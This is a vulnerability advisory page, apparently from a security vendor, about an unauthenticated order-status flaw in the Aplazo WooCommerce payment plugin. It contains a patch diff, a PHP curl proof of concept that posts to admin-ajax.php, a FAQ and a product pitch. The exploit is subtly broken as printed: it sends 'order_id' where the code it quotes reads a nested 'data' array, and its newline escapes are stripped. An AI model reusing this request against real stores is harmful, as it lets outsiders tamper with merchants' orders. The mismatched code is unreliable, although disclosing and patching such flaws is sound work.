-            $this->aplazo_sevice->sendLog('Rembolso fallido. Revisar logs.', WC_Aplazo_Api::LOGS_CATEGORY_ERROR, WC_Aplazo_Api::LOGS_SUBCATEGORY_REFUND,
-                ['orderId' => $order_id]);
-            return new WP_Error( 'error', __( 'Refund failed.', 'aplazo-payment-gateway' ) );
-        }
-        $result = $this->refund($order_id, $amount, $reason);
-
-        if ( !$result  ) {
-            $this->aplazo_sevice->sendLog('Refund communication failed', WC_Aplazo_Api::LOGS_CATEGORY_ERROR, WC_Aplazo_Api::LOGS_SUBCATEGORY_REFUND,
-                ['orderId' => $order_id]);
-            return new WP_Error( 'error',  __( 'Refund communication failed.', 'aplazo-payment-gateway' ) );
-        }
-
-        $order->add_order_note(  __( 'Refund in process.', 'aplazo-payment-gateway' ) );
-        return true;
-    }
-
-    public function getProperty($property)
-    {
-        return $this->$property;
-    }
-
-    /**
-     *
-     * Init Options
-     */
-    public static function get_instance() {
-        if ( null === self::$instance ) {
-            self::$instance = new self();
-        }
-        return self::$instance;
-    }
-
-    /**
-     * Include log
-     * @return void
-     */
-    public function includes() {
-        include_once dirname( __FILE__ ) . '/log/class-wc-aplazo-log.php';
-        include_once dirname( __FILE__ ) . '/service/class-aplazo-api.php';
-        $debugMode = $this->get_option('debug_mode') == 'yes';
-        // Init objects
-        $this->log = WC_Aplazo_Log::init_aplazo_log( self::SOURCE_LOG, $debugMode);
-        $this->aplazo_sevice = WC_Aplazo_Api::init_aplazo_api($this->log, $this);
-    }
-
-    public function get_checkout_icon() {
-        /**
-         * Add Aplazo icon.
-         *
-         * @since 1.2.3
-         */
-        return apply_filters( 'woocommerce_aplazo_icon', plugins_url( '../assets/images/logo-raw.png', plugin_dir_path( __FILE__ ) ) );
-    }
-}
--- a/aplazo-payment-gateway/includes/module/class-aplazo-init.php
+++ b/aplazo-payment-gateway/includes/module/class-aplazo-init.php
@@ -1,33 +0,0 @@
-<?php
-/**
- * Aplazo Woocommerce Module Init
- * Author - Aplazo
- * Developer
- * License - https://www.gnu.org/licenses/gpl.html GPL version 2 or higher
- *
- * @package Aplazo
- */
-
-if (!defined('ABSPATH')) {
-    exit;
-}
-
-/**
- * Aplazo Init class
- */
-class Aplazo_Init
-{
-
-    /**
-     * Init the plugin
-     */
-    public static function init_aplazo_gateway_class()
-    {
-        if (!class_exists('WC_Payment_Gateway')) return;
-
-        include_once('class-aplazo-gateway.php');
-        include_once('class-aplazo-module.php');
-
-        Aplazo_Module::get_instance();
-    }
-}
 No newline at end of file
--- a/aplazo-payment-gateway/includes/module/class-aplazo-module.php
+++ b/aplazo-payment-gateway/includes/module/class-aplazo-module.php
@@ -1,285 +0,0 @@
-<?php
-/**
- * Aplazo Woocommerce Module Init
- * Author - Aplazo
- * Developer
- * License - https://www.gnu.org/licenses/gpl.html GPL version 2 or higher
- *
- * @package Aplazo
- */
-
-if (!defined('ABSPATH')) {
-    exit;
-}
-
-/**
- * Aplazo Init class
- */
-class Aplazo_Module
-{
-    /**
-     * Static instance
-     *
-     * @var Aplazo_Module
-     */
-    private static $instance = null;
-    private $log;
-
-    const SOURCE_LOG = 'aplazo-payment';
-    /**
-     *
-     * Init Options
-     */
-    public static function get_instance() {
-        if ( null === self::$instance ) {
-            self::$instance = new self();
-        }
-        return self::$instance;
-    }
-
-    public function __construct()
-    {
-        $this->includes();
-        $this->initHooks();
-    }
-
-    public function includes()
-    {
-        include_once('manager/class-aplazo-stock.php');
-        // If is a frontend request
-        if ((!is_admin() || defined('DOING_AJAX')) && !defined('DOING_CRON') && !WC()->is_rest_api_request()) {
-            include_once('class-aplazo-frontend-scripts.php');
-            include_once('class-aplazo-template-functions.php');
-        }
-        $this->include_log();
-    }
-
-    public function initHooks()
-    {
-        add_action('woocommerce_proceed_to_checkout', array($this, 'wp_extracode_for_shopping_cart'));
-        add_action('woocommerce_before_add_to_cart_form', array($this, 'wp_extracode_for_products'));
-        add_action('woocommerce_order_status_changed', array($this, 'aplazo_order_stock_reduction'), 20, 4);
-
-        //ADD LISTENER FOR HOOK WITH CHECK RESULT
-        add_action('wp_ajax_nopriv_check_success_response', array($this, 'check_success_response'));
-        add_action('wp_ajax_check_success_response', array($this, 'check_success_response'));
-
-        //Localization
-        add_action('init', array($this, 'aplazo_text_domain_load'));
-
-        add_filter('plugin_action_links_' . plugin_basename(APLAZO_PLUGIN_FILE),  array($this,'aplazo_gateway_plugin_links'));
-        add_filter('woocommerce_payment_gateways', array($this, 'simple_aplazo'));
-        add_filter( 'woocommerce_gateway_title', array( $this, 'get_payment_method_title' ), 10, 2 );
-
-        add_action('restrict_manage_posts', array($this, 'cancel_unpaid_orders'));
-
-        add_filter( 'cron_schedules', array($this, 'fifteen_minutes_cron_interval' ));
-        add_action( 'cancel_unpaid_orders_hook', array($this, 'cancel_unpaid_orders_exec'));
-
-        if ( ! wp_next_scheduled( 'cancel_unpaid_orders_hook' ) ) {
-            wp_schedule_event( time(), 'fifteen_minutes_cron_interval', 'cancel_unpaid_orders_hook');
-        }
-    }
-
-    public function cancel_unpaid_orders()
-    {
-        global $pagenow, $post_type;
-
-        $aplazo = WC_Gateway_Aplazo::get_instance();
-        $cancel_orders = $aplazo->get_option('cancel_orders');
-
-        if ('shop_order' === $post_type && 'edit.php' === $pagenow) {
-            $this->cancel_unpaid_orders_exec();
-        }
-    }
-
-    public function cancel_unpaid_orders_exec()
-    {
-        $aplazo = WC_Gateway_Aplazo::get_instance();
-        $payment_method = $aplazo->id;
-
-        // Consulta para obtener las órdenes con el método de pago deseado
-        $args = array(
-            'post_type'   => 'shop_order',
-            'post_status' => 'wc-pending', // Cambia esto al estado deseado
-            'meta_query'  => array(
-                array(
-                    'key'   => '_payment_method',
-                    'value' => $payment_method,
-                ),
-            ),
-            'posts_per_page' => -1
-        );
-
-        $orders = new WP_Query( $args );
-
-        if ( $orders->have_posts() ) {
-            $cancel_orders = $aplazo->get_option('cancel_orders');
-            if(strpos($cancel_orders, 'm')){
-                $cancel_orders = str_replace("m", "", $cancel_orders);
-                $now = strtotime('-'. $cancel_orders .' minutes');
-            }else{
-                $now = strtotime('-'. $cancel_orders .' hours');
-            }
-
-            if($cancel_orders){
-                $aplazo->log->write_log('info', "**** Cancelando ordenes aplazo ****");
-                $cancelled_text = __("The order was cancelled due to no payment from customer.", "aplazo-payment-gateway");
-            }
-            $aplazo->log->write_log('info', "Se encontraron " . $orders->found_posts . ' para procesar.');
-            while ($orders->have_posts()) {
-                $orders->the_post();
-                $order_id = $orders->post->ID;
-                $unpaid_order = wc_get_order($order_id);
-                $orderTime = strtotime($unpaid_order->get_date_created());
-                $canCancel = true;
-
-                $aplazo->log->write_log('info', "Procesando orden con id: " . $unpaid_order->get_id());
-                $aplazoStatusIsPaid = $aplazo->getStatus($unpaid_order->get_id());
-                if($aplazoStatusIsPaid) {
-                    $aplazo->updatePaidOrder($aplazoStatusIsPaid, $unpaid_order, $unpaid_order->get_id());
-                    $canCancel = false;
-                }
-
-                if($canCancel) {
-                    // If $cancel_orders config is set in "manual" the value is 0. All the cancellations must be done manually.
-                    if ($cancel_orders) {
-                        if ($orderTime < $now) {
-                            $message = "Cancelando orden " . $unpaid_order->get_id() . " con total de " . $unpaid_order->get_total();
-                            $aplazo->log->write_log('info', $message);
-                            $aplazo->aplazo_sevice->sendLog($message, WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_ORDER);
-                            $unpaid_order->update_status('cancelled', $cancelled_text);
-                            $result = $aplazo->cancel($unpaid_order->get_id(), $unpaid_order->get_total(), $cancelled_text);
-                            if (!$result) {
-                                $aplazo->log->write_log('error', __('Cancel communication failed.', 'aplazo-payment-gateway'));
-                            }
-                        } else {
-                            $aplazo->log->write_log('info', "La orden con id: " . $unpaid_order->get_id() . " aun no cumple el tiempo para ser cancelada.");
-                        }
-                    } else {
-                        $aplazo->log->write_log('info', "cancel_orders config is set in 'manual'. All the cancellations must be done manually.");
-                    }
-                }
-            }
-        }
-    }
-
-    /**
-     * Add aplazo widget to shopping_cart
-     *
-     * @since 1.0.10
-     */
-    public function wp_extracode_for_shopping_cart()
-    {
-        $aplazo = WC_Gateway_Aplazo::get_instance();
-        if ($aplazo->show_widget_shopping_cart()) {
-            $cart = WC()->cart;
-            $totalcart = $cart->total * 100;
-            echo '<aplazo-placement product-price = "' . esc_attr($totalcart) . '"></aplazo-placement>';
-        }
-    }
-
-    /**
-     * Add aplazo widget to product
-     *
-     * @since 1.0.10
-     */
-    public function wp_extracode_for_products()
-    {
-        $aplazo = WC_Gateway_Aplazo::get_instance();
-        if ($aplazo->show_widget_product_detail()) {
-            global $product;
-            $id = $product->get_id();
-            $product = wc_get_product($id);
-            if (isset($product) && $product != "") {
-                if (is_numeric($product->get_price())) {
-                    $price = floatval($product->get_price());
-                } else {
-                    $price = 0;
-                }
-                $price = $price * 100;
-                echo '<aplazo-placement product-price = "' . esc_attr($price) . '"></aplazo-placement>';
-            }
-        }
-    }
-
-    public function check_success_response()
-    {
-        global $woocommerce;
-        $success = isset($_POST['data']);
-        if ($success) {
-            $order_id = ( int ) sanitize_text_field($_POST['data']['order_id']);
-            if ( is_numeric( $order_id ) && $order_id > 0 ) {
-                $order = new WC_Order($order_id);
-                //Check of status from response data
-                //Mark order of status and empty cart
-                $order->update_status('pending', __('Order pending payment via APLAZO', 'aplazo-payment-gateway'));
-                $order->add_order_note(__('Client has redirected to APLAZO gateway for pay his goods', 'aplazo-payment-gateway'));
-            }
-            wp_die('success');
-        } else {
-            wp_die('Check Request Failure');
-        }
-    }
-
-    public function simple_aplazo($methods)
-    {
-        $methods[] = 'WC_Gateway_Aplazo';
-        return $methods;
-    }
-
-    /**
-     * Adds plugin page links
-     *
-     * @param array $links all plugin links
-     * @return array $links all plugin links + our custom links (i.e., "Settings")
-     * @since 1.0.0
-     */
-    public function aplazo_gateway_plugin_links($links)
-    {
-        $plugin_links = array(
-            '<a href="' . admin_url('admin.php?page=wc-settings&tab=checkout&section=aplazo') . '">' . __('Configure', 'aplazo-payment-gateway') . '</a>'
-        );
-
-        return array_merge($plugin_links, $links);
-    }
-
-    public function aplazo_order_stock_reduction($order_id, $old_status, $new_status, $order)
-    {
-        if ($new_status == 'cancelled') {
-            $stock_reduced = get_post_meta($order_id, '_order_stock_reduced', true);
-            if (empty($stock_reduced) && $order->get_payment_method() == 'aplazo') {
-                wc_increase_stock_levels($order_id);
-            }
-        }
-    }
-
-    public function get_payment_method_title( $title, $id ) {
-        if ($id !== 'aplazo') {
-            return $title;
-        }
-        return 'Paga en plazos sin tarjeta de crédito';
-    }
-
-    public function aplazo_text_domain_load() {
-        load_plugin_textdomain( 'aplazo-payment-gateway', false, plugin_basename( dirname( APLAZO_PLUGIN_FILE ) ) . '/i18n/languages' );
-    }
-
-    /**
-     * Include log
-     * @return void
-     */
-    public function include_log() {
-        $aplazo = WC_Gateway_Aplazo::get_instance();
-        include_once dirname( __FILE__ ) . '/log/class-wc-aplazo-log.php';
-        $debugMode = $aplazo->get_option('debug_mode') == 'yes';
-        $this->log = WC_Aplazo_Log::init_aplazo_log( self::SOURCE_LOG, $debugMode);
-    }
-
-   public function fifteen_minutes_cron_interval( $schedules ) {
-        $schedules['fifteen_minutes_cron_interval'] = array(
-            'interval' => 900,
-            'display'  => esc_html__( 'Every Fifteen Minutes' ), );
-        return $schedules;
-    }
-}
--- a/aplazo-payment-gateway/includes/module/class-aplazo-template-functions.php
+++ b/aplazo-payment-gateway/includes/module/class-aplazo-template-functions.php
@@ -1,27 +0,0 @@
-<?php
-
-if ( ! function_exists( 'woocommerce_aplazo_checkout_payment' ) ) {
-
-    /**
-     * Output the Payment Methods on the checkout.
-     */
-    function woocommerce_aplazo_checkout_payment() {
-        if ( WC()->cart->needs_payment() ) {
-            $available_gateways = WC()->payment_gateways()->get_available_payment_gateways();
-            WC()->payment_gateways()->set_current_gateway( $available_gateways );
-        } else {
-            $available_gateways = array();
-        }
-
-        wc_get_template(
-            'checkout/payment.php',
-            array(
-                'checkout'           => WC()->checkout(),
-                'available_gateways' => $available_gateways,
-                'order_button_text'  => apply_filters( 'woocommerce_order_button_text', __( 'Place order', 'aplazo-payment-gateway' ) ),
-            ),
-            '',
-            plugin_dir_path( __FILE__ ) . '../../templates/'
-        );
-    }
-}
 No newline at end of file
--- a/aplazo-payment-gateway/includes/module/index.php
+++ b/aplazo-payment-gateway/includes/module/index.php
@@ -1,3 +0,0 @@
-<?php
-// Silence is golden.
-exit;
--- a/aplazo-payment-gateway/includes/module/log/class-wc-aplazo-log.php
+++ b/aplazo-payment-gateway/includes/module/log/class-wc-aplazo-log.php
@@ -1,109 +0,0 @@
-<?php
-/**
- * Part of Aplazo Module
- * Author - Aplazo
- * Developer
- * License - https://www.gnu.org/licenses/gpl.html GPL version 2 or higher
- *
- * @package Aplazo
- */
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Class WC_Aplazo_Log
- */
-class WC_Aplazo_Log
-{
-
-	/**
-	 * Log
-	 * @var WC_Aplazo_Log
-	 */
-	public $logger;
-
-	/**
-	 * Id
-	 *
-	 * @var WC_Aplazo_Log::$id
-	 */
-	public $id;
-
-	/**
-	 * DebugLog
-	 *
-	 * @var WC_Aplazo_Log::$debug_mode
-	 */
-	public $debug_mode;
-    /**
-     * Static instance
-     *
-     * @var WC_Aplazo_Log
-     */
-    private static $instance = null;
-
-    /**
-     * @param $id
-     * @param $debug_mode
-     */
-	public function __construct($id = false, $debug_mode = false ) {
-		$this->debug_mode = $debug_mode;
-        $this->id = $id;
-		return $this->init_log();
-	}
-
-	/**
-	 * Init_log function
-	 *
-	 * @return WC_Logger|null
-	 */
-	public function init_log() {
-		if ( class_exists( 'WC_Logger' )) {
-            $this->logger = wc_get_logger();
-			return $this->logger;
-        } else {
-            return null;
-        }
-	}
-
-    /**
-     * @param $id
-     * @param $debug_mode
-     * @return WC_Aplazo_Log|self|null
-     */
-	public static function init_aplazo_log( $id = null, $debug_mode = false ) {
-        if ( null === self::$instance ) {
-            self::$instance = new self($id, $debug_mode);
-        }
-        return self::$instance;
-	}
-
-	/**
-	 * Write_log function
-	 *
-	 * @param [type] $function .
-	 * @param [type] $message .
-	 * @return void
-	 */
-	public function write_log( $function, $message ) {
-		if ( ! empty( $this->debug_mode ) ) {
-            if(is_array($message)){
-                $this->logger->$function(wc_print_r( $message, true ), array( 'source' => $this->id ));
-            } else {
-                $this->logger->$function($message, array( 'source' => $this->id ));
-            }
-		}
-	}
-
-	/**
-	 * Set_id function
-	 *
-	 * @param [type] $id .
-	 * @return void
-	 */
-	public function set_id( $id ) {
-		$this->id = $id;
-	}
-}
--- a/aplazo-payment-gateway/includes/module/log/index.php
+++ b/aplazo-payment-gateway/includes/module/log/index.php
@@ -1,11 +0,0 @@
-<?php
-/**
- * Part of Aplazo Module
- * Author - Aplazo
- * Developer
- * License - https://www.gnu.org/licenses/gpl.html GPL version 2 or higher
- *
- * @package Aplazo
- */
-
-exit;
--- a/aplazo-payment-gateway/includes/module/manager/class-aplazo-stock.php
+++ b/aplazo-payment-gateway/includes/module/manager/class-aplazo-stock.php
@@ -1,66 +0,0 @@
-<?php
-/**
- * Aplazo Woocommerce Stock
- * Author - Aplazo
- * Developer
- * License - https://www.gnu.org/licenses/gpl.html GPL version 2 or higher
- *
- * @package Aplazo
- */
-
-if ( ! defined( 'ABSPATH' ) ) {
-    exit;
-}
-
-/**
- * Class Aplazo_Stock
- */
-class Aplazo_Stock {
-
-    /**
-     * Aplazo_Stock constructor.
-     */
-    public function __construct() {
-        add_action( 'woocommerce_order_status_pending_to_cancelled', array( 'Aplazo_Stock', 'restore_stock_item' ), 10, 1 );
-        add_action( 'woocommerce_order_status_pending_to_failed', array( 'Aplazo_Stock', 'restore_stock_item' ), 10, 1 );
-        add_action( 'woocommerce_order_status_processing_to_refunded', array( 'Aplazo_Stock', 'restore_stock_item' ), 10, 1 );
-        add_action( 'woocommerce_order_status_on-hold_to_refunded', array( 'Aplazo_Stock', 'restore_stock_item' ), 10, 1 );
-    }
-
-    /**
-     * Restore Stock Item
-     *
-     * @param int $order_id Order ID.
-     */
-    public static function restore_stock_item( $order_id ) {
-        $aplazoGateway = WC_Gateway_Aplazo::get_instance();
-        $order = wc_get_order( $order_id );
-
-        $reserveStock = $aplazoGateway->get_option('reserve_stock');
-
-        if ( ! $order || 'yes' !== get_option( 'woocommerce_manage_stock' ) || ! apply_filters( 'woocommerce_can_reduce_order_stock', true, $order ) || $order->get_payment_method() !== 'aplazo'
-            || $reserveStock !== "yes") {
-            return;
-        }
-
-        foreach ( $order->get_items() as $item ) {
-            if ( ! $item->is_type( 'line_item' ) ) {
-                continue;
-            }
-
-            $_product = $item->get_product();
-            if ( $_product && $_product->managing_stock() ) {
-                $item_name = $_product->get_formatted_name();
-                $qty = apply_filters( 'woocommerce_order_item_quantity', $item->get_quantity(), $order, $item );
-                $new_stock = wc_update_product_stock( $_product, $qty, 'increase' );
-                if ( ! is_wp_error( $new_stock ) ) {
-                    /* translators: 1: item name 2: old stock quantity 3: new stock quantity */
-                    $order->add_order_note(sprintf(__('%1$s stock increased from %2$s to %3$s.', 'woocommerce'), $item_name, $new_stock - $qty, $new_stock));
-                    do_action( 'woocommerce_auto_stock_restored', $_product, $item );
-                }
-            }
-        }
-    }
-}
-
-new Aplazo_Stock();
--- a/aplazo-payment-gateway/includes/module/manager/index.php
+++ b/aplazo-payment-gateway/includes/module/manager/index.php
@@ -1,3 +0,0 @@
-<?php
-// Silence is golden.
-exit;
--- a/aplazo-payment-gateway/includes/module/service/class-aplazo-api.php
+++ b/aplazo-payment-gateway/includes/module/service/class-aplazo-api.php
@@ -1,122 +0,0 @@
-<?php
-/**
- * Part of Aplazo Module
- * Author - Aplazo
- * Developer
- * License - https://www.gnu.org/licenses/gpl.html GPL version 2 or higher
- *
- * @package Aplazo
- */
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Class WC_Aplazo_Api
- */
-class WC_Aplazo_Api
-{
-    const LOGS_SUBCATEGORY_AUTH = 'auth';
-    const LOGS_SUBCATEGORY_LOAN = 'loan';
-    const LOGS_SUBCATEGORY_REQUEST = 'request';
-    const LOGS_SUBCATEGORY_ORDER = 'order';
-    const LOGS_SUBCATEGORY_REFUND = 'refund';
-    const LOGS_SUBCATEGORY_WEBHOOK = 'webhook';
-    const LOGS_CATEGORY_ERROR = 'error';
-    const LOGS_CATEGORY_WARNING = 'warning';
-    const LOGS_CATEGORY_INFO = 'info';
-    /**
-     * Static instance
-     *
-     * @var WC_Aplazo_Api
-     */
-    private static $instance = null;
-    /**
-     * @var WC_Gateway_Aplazo
-     */
-    private $aplazo_gateway;
-    /**
-     * @var mixed
-     */
-    private $log;
-
-    public function __construct($log, $aplazo_gateway) {
-        $this->log = $log;
-        $this->aplazo_gateway = $aplazo_gateway;
-    }
-
-    public function apiPost($data, $path, $headers, $return = true)
-    {
-        $this->log->write_log('info', $data);
-        if($return){
-            $this->sendLog('Post http request', self::LOGS_CATEGORY_INFO, self::LOGS_SUBCATEGORY_REQUEST,
-                ['url' => $path, 'data' => wp_json_encode($data), 'headers' => $headers]);
-        }
-        $response = wp_remote_post($path, array(
-            'body'    => wp_json_encode($data),
-            'headers' => $headers,
-        ));
-        return $return ? $this->returnResponse($response) : false;
-    }
-
-    public function apiGet($path, $headers)
-    {
-        $this->log->write_log('info', 'getUrl > ' . $path);
-        $this->log->write_log('info', $headers);
-        $this->sendLog('Get http request', self::LOGS_CATEGORY_INFO, self::LOGS_SUBCATEGORY_REQUEST,
-        ['url' => $path, 'headers' => $headers]);
-        $response = wp_remote_get( $path, array(
-            'headers' => $headers
-        ));
-        return $this->returnResponse($response);
-    }
-
-    public function sendLog($message, $category, $subcategory, $metadata = [])
-    {
-        $metadata = array_merge($metadata, [
-            "merchantId" => $this->aplazo_gateway->getProperty('merchantId'),
-            "log" => $message
-        ]);
-        $body = [
-            "eventType"=> "tag_plugin_w",
-            "origin"=> "WOO",
-            "category"=> $category,
-            "subcategory"=> $subcategory,
-            "metadata"=> $metadata
-        ];
-        $headers = [
-            'merchant_id' => $this->aplazo_gateway->getProperty('merchantId'),
-            'api_token' => $this->aplazo_gateway->getProperty('apiToken'),
-            'Content-Type' => 'application/json'
-        ];
-
-        $this->apiPost($body, $this->aplazo_gateway->getProperty('log_environment'), $headers , false);
-    }
-
-    public function returnResponse($response)
-    {
-        if (is_wp_error($response)) {
-            $error_message = $response->get_error_message();
-            $this->log->write_log('error', $error_message);
-            $this->sendLog('Error en http Service > ' . $error_message, self::LOGS_CATEGORY_ERROR, self::LOGS_SUBCATEGORY_REQUEST);
-            return false;
-        } else {
-            $response_to_log = wp_remote_retrieve_body($response);
-            $response = json_decode($response_to_log, true) ? json_decode($response_to_log, true) : $response_to_log;
-            $this->log->write_log('info', $response);
-            $this->sendLog('Http Service Response > ' . $response_to_log, self::LOGS_CATEGORY_INFO, self::LOGS_SUBCATEGORY_REQUEST);
-            return $response;
-        }
-    }
-
-    /**
-     * @return WC_Aplazo_Api|self|null
-     */
-	public static function init_aplazo_api($log, $aplazo_gateway) {
-        if ( null === self::$instance ) {
-            self::$instance = new self($log, $aplazo_gateway);
-        }
-        return self::$instance;
-	}
-}
--- a/aplazo-payment-gateway/src/Gateways/AplazoGateway.php
+++ b/aplazo-payment-gateway/src/Gateways/AplazoGateway.php
@@ -3,7 +3,6 @@
 namespace AplazoWoocommerceGateways;

 use AplazoWoocommerceServiceApi;
-use InvalidArgumentException;
 use WC_Order;
 use WC_Payment_Gateway;
 use WP_Error;
@@ -76,8 +75,6 @@
         $this->supports             = array( 'products', 'refunds' );
         $this->icon = $this->get_checkout_icon();

-        //add woocommerce receipt_page (via generate_form)
-        add_action('woocommerce_receipt_aplazo', array($this, 'receipt_page'));
         add_action('woocommerce_update_options_payment_gateways_' . $this->id, array($this, 'process_admin_options'));

         //ADD LISTENER FOR HOOK WHITH CHECK RESULT
@@ -269,7 +266,6 @@
         $auth = $this->auth();
         if(!empty($auth['Authorization'])){
             $order = new WC_Order($order_id);
-            $order->update_status('Awaiting payment', 'woocommerce-other-payment-gateway');
             // Reduce Stock
             if($this->reserve_stock === "yes"){
                 wc_reduce_stock_levels($order_id);
@@ -413,49 +409,6 @@
         return false;
     }

-    //CALL FORM WITH PARAMETRES FOR RECEIPT"
-    public function receipt_page($order)
-    {
-        echo '<p>' . esc_attr($this->pay_message) . '</p><br/>';
-        echo $this->generate_form($order);
-    }
-
-    //GENERATE OF FORM WITH PARAMETRES FOR RECIEPT"
-    public function generate_form($order_id)
-    {
-        $redirect = get_home_url();
-        $params = array(
-            "merchantId" => intval($this->get_option('merchantId')),
-            "apiToken" => $this->get_option('apiToken')
-        );
-        if
-        (isset($this->environment)){
-            $environment= isset($this->environment)?$this->environment:'https://api.aplazo.mx';
-            $params['verify_url'] = $environment . '/api/auth';
-            $params['checkout_url'] = $environment . '/api/loan';
-        } else {
-            $params['verify_url'] = $this->_verify_url;
-            $params['checkout_url'] = $this->_checkout_url;
-        }
-
-        wp_register_script('aplazo_script', plugin_dir_url(__FILE__) . '/../../../assets/js/script.js', array(), 1, false);
-        wp_localize_script('aplazo_script', 'add_params', $params);
-
-        wp_localize_script(
-            'aplazo_script',
-            'ajax_url',
-            array(
-                'admin_url' => admin_url('admin-ajax.php'),
-                'redirect_page' => $redirect
-            )
-        );
-        wp_enqueue_script('aplazo_script');
-
-        global $woocommerce;
-        $order = new WC_Order($order_id);
-        return $this->cnb_form($this->get_order_payload($order_id, $order));
-    }
-
     public function get_order_payload($order_id, $order)

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15512 - Aplazo Payment Gateway <= 1.4.3 - Missing Authorization to Unauthenticated Order Status Manipulation

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$order_id = 123; // Replace with a valid WooCommerce order ID

$post_data = array(
    'action' => 'check_success_response',
    'order_id' => $order_id
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // Disable for testing only

// Set headers to mimic a standard form submission
$headers = array(
    'User-Agent: Atomic Edge PoC',
    'Content-Type: application/x-www-form-urlencoded'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response === false) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    // A successful exploitation attempt may return a '1' or a JSON response.
}

curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2025-15512?
Overview of the vulnerability
CVE-2025-15512 is a medium severity vulnerability in the Aplazo Payment Gateway plugin for WordPress, affecting versions up to and including 1.4.3. It allows unauthenticated attackers to manipulate WooCommerce order statuses due to a missing authorization check in the check_success_response() function.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability allows attackers to send a POST request to the WordPress AJAX endpoint without any authentication. By specifying a valid order ID, an attacker can set the status of any WooCommerce order to ‘pending payment’, disrupting store operations.
Who is affected by this vulnerability?
Identifying impacted users
All WordPress sites using the Aplazo Payment Gateway plugin version 1.4.3 or earlier are affected. Administrators should check their plugin version to determine if they are at risk.
How can I check if my site is vulnerable?
Steps to verify vulnerability
To check if your site is vulnerable, look for the Aplazo Payment Gateway plugin in your WordPress dashboard and verify the version. If it is 1.4.3 or earlier, your site is vulnerable.
How can I fix this vulnerability?
Mitigation steps
The vulnerability is fixed in version 1.5.0 of the Aplazo Payment Gateway plugin. Administrators should update to this version or later to eliminate the risk.
What does a CVSS score of 5.3 mean?
Understanding risk levels
A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability poses a risk, it may not be easily exploitable without specific conditions, but it still requires prompt attention.
What are the potential risks of exploitation?
Impact of the vulnerability
If exploited, an attacker can disrupt order processing by changing order statuses to ‘pending payment’. This can lead to confusion for customers and administrators, potentially affecting inventory and fulfillment operations.
What is a proof of concept (PoC)?
Demonstrating the vulnerability
A proof of concept is a demonstration that shows how the vulnerability can be exploited in practice. The PoC for CVE-2025-15512 illustrates how to send a malicious request to change an order status without authentication.
How does the proof of concept work?
Technical details of the PoC
The PoC uses a PHP script to send a POST request to the vulnerable AJAX endpoint with the required parameters. It mimics a legitimate request, demonstrating how an attacker can manipulate order statuses.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If immediate updating is not possible, consider disabling the Aplazo Payment Gateway plugin to prevent exploitation. Additionally, monitor your site for any suspicious activity related to order processing.
Are there any other security measures I should take?
Best practices for WordPress security
In addition to updating plugins, ensure that your WordPress installation is regularly updated, implement strong user authentication, and consider using security plugins that monitor for unauthorized access.
Where can I find more information about this vulnerability?
Resources for further reading
Further details about CVE-2025-15512 can be found on the National Vulnerability Database or security advisories related to the Aplazo Payment Gateway plugin.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations